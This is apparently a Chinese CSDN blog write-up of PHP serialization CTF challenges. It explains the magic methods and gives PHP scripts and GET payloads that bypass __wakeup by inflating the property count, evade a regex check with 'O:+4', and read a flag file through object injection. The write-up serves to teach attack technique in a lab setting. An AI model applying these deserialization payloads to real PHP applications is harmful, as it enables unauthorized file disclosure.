php序列化和反序列化

本文详细介绍了PHP中的魔术方法,如构造函数__construct、析构函数__destruct和在反序列化时触发的__wakeup。通过实例展示了如何利用这些方法构造pop链并绕过限制,以及在实际场景中的应用和注意事项。
摘要由CSDN通过智能技术生成

三个魔术方法:
PHP中把以两个下划线__开头的方法称为魔术方法(Magic methods),这些方法在PHP中充当了举足轻重的作用。

(1) __construct()函数
类的构造函数,创建时自动调用,用得到的参数覆盖$file。php中构造方法是对象创建完成后第一个被对象自动调用的方法,在每个类中都有一个构造方法,如果没有显示地声明它,那么类中都会默认存在一个没有参数且内容为空的构造方法。

(2)__destruct()函数
是 PHP 面向对象编程的另一个重要的魔法函数,该函数会在类的一个对象被删除时自动调用。我们可以在该函数中添加一些释放资源的操作,比如关闭文件、关闭数据库链接、清空一个结果集等,但__destruct() 在日常的编码中并不常见,因为它是非必须的,是类的可选组成部分。通常只是用来完成对象被删除时的清理动作而已,而 PHP 的特性 (运行完一次请求则销毁环境 )的做法,也没必要使用 __destruct() ,执行完请求后所有该销毁的都会销毁。__destruct() 的声明格式类似于构造函数 __construct , 该名字是固定的,以两个下划线开头,然后跟上 destruct 关键字,该函数没有任何参数,也不需要更不要返回任何值,该函数的原型如下:

function __destruct()
{
    // 其它代码
}
(3)__wakeup()函数
在进行PHP反序列化时,会先调用这个函数,但是如果序列化字符串中表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup()的执行。

例如这道题就是对__wakeup函数的理解利用

运用脚本生成序列化字符串 O:4:"xctf":1:{s:4:"flag";s:3:"111";}  在线代码运行 (toolnb.com)

<?php
class xctf{ 
public $flag = '111'; 
public function __wakeup(){ 
exit('bad requests'); 
}
}
$Myon = new xctf();
$Myon = serialize($Myon);
echo $Myon;
?>

然后构建playload:/?code=O:4:"xctf":1:{s:4:"flag";s:3:"111";},发现报错就是__wakeup()函数的问题,需要对象属性个数的值大于真实的属性个数,所以修改payload:/?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";},拿到flag

Web_php_unserialize

这个题就考的是正则匹配的绕过与__wakeup()的绕过,以及base64编码,构造的pop链如下

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
$Myon = new Demo('fl4g.php');
$Myon = serialize($Myon);
$Myon = str_replace('O:4','O:+4',$Myon); 
$Myon = str_replace('1:{','2:{',$Myon);
echo base64_encode($Myon);
?>

$Myon = str_replace('O:4','O:+4',$Myon);        // 对正则匹配的绕过
$Myon = str_replace('1:{','2:{',$Myon);              // 对__wakeup()函数的绕过

这个题不能放在在线base64工具上加密,因为file是私有变量,所以序列化之后的字符串开头结 尾各有一个空白字符(即%00),字符串长度也比实际长度大 2,如果将序列化结 果复制到在线的 base64 网站进行编码可能就会丢掉空白字符,所以这里直接在 php 代码里进行编码。类似的还有 protected 类型的变量,序列化之后字符串首 部会加上%00*%00。

构造payload,用get传参方式将值传给var

即 /?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

于是拿到flag

------------------------------------------------------------------------------------------------------------------------------

这样的php代码构造pop链的时候要加上$a->file='flag.php'

如果不加,那么在 __tostring() 方法中的 file_get_contents() 函数将无法读取文件内容,因为它需要一个有效的文件路径。在这种情况下,当您尝试序列化 $Myon 对象时,该对象的字符串表示形式将不包含任何文件内容。
                        
原文链接:https://blog.csdn.net/Myon5/article/details/129844589

  • 40
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值